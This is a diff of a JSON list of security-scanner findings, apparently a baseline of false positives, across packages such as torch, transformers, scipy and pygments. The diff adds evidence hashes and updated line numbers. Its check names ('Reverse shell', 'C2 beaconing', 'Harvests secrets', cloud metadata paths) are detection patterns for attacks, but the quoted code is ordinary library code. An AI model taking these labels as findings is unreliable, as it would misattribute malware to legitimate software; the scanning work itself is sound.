"8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" }, { "package": "pyarrow", "file": "pyarrow/tests/test_orc.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'" + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", + "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" }, { "package": "pyarrow", "file": "pyarrow/tests/util.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L30: import socket" + "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", + "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" }, { "package": "pyarrow", "file": "pyarrow/util.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:" + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", + "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L103: exec(f.read(), custom_namespace)" + "evidence": "L103: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: exec(f.read(), custom_namespace)" + "evidence": "L154: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/_mysql_builtins.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')" + "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", + "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" }, { "package": "pygments", "file": "pygments/lexers/_php_builtins.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve" + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", + "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" }, { "package": "pyperclip", "file": "pyperclip/__init__.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r']," + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", + "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" }, { "package": "python-dateutil", "file": "dateutil/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "rich", "file": "rich/ansi.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L229: pty.spawn(sys.argv[1:], read)" + "evidence": "L229: pty.spawn(sys.argv[1:], read)", + "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" }, { "package": "rich", "file": "rich/console.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/readers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)" + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", + "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/writers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)" + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", + "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L100: while True:" + "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", + "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", + "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/svm/tests/test_svm.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/cupy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/dask/array/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/numpy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/torch/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", + "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "sentencepiece", "file": "sentencepiece/__init__.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)" + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" }, { "package": "setuptools", "file": "distutils-precedence.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();" + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", + "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" }, { "package": "setuptools", "file": "setuptools/_distutils/tests/test_build_ext.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')" + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", + "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" }, { "package": "setuptools", "file": "setuptools/_vendor/jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)" + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: __import__(module + '.' + submod)" + "evidence": "L154: __import__(module + '.' + submod)", + "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" }, { "package": "tiktoken", "file": "tiktoken/load.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)" + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", + "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" }, { "package": "torch", "file": "functorch/dim/magic_trace.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\"" + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", + "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" }, { "package": "torch", "file": "torch/_inductor/codecache.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output(" + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", + "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" }, { "package": "torch", "file": "torch/ao/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L30: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L34: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/intrinsic/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L40: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/cuda/_memory_viz.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(" + "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", + "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" }, { "package": "torch", "file": "torch/distributed/elastic/multiprocessing/redirects.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L218: os.dup2(dst.fileno(), std_fd)" + "evidence": "L218: os.dup2(dst.fileno(), std_fd)", + "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" }, { "package": "torch", "file": "torch/hub.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:" + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", + "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:" + "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", + "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L32: import socket" + "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", + "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" }, { "package": "torchvision", "file": "torchvision/datasets/utils.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r" + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", + "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)" + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", + "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w" + "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c" + "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1577: while True:" + "evidence": "L1663: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", + "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", + "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", + "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:" + "evidence": "Env: L284: value = os.environ[key] | L300: value = os.environ[key] | L2129: env = os.environ.copy() | L2251: for k in list(os.environ.keys()):\nNetwork: L2561: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", + "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2473: import socket" + "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", + "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" }, { "package": "transformers", "file": "transformers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "triton", "file": "triton/tools/build_extern.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"" + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", + "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L152: while True:" + "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", + "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", + "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" }, { "package": "trl", "file": "trl/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re" + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as" + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import 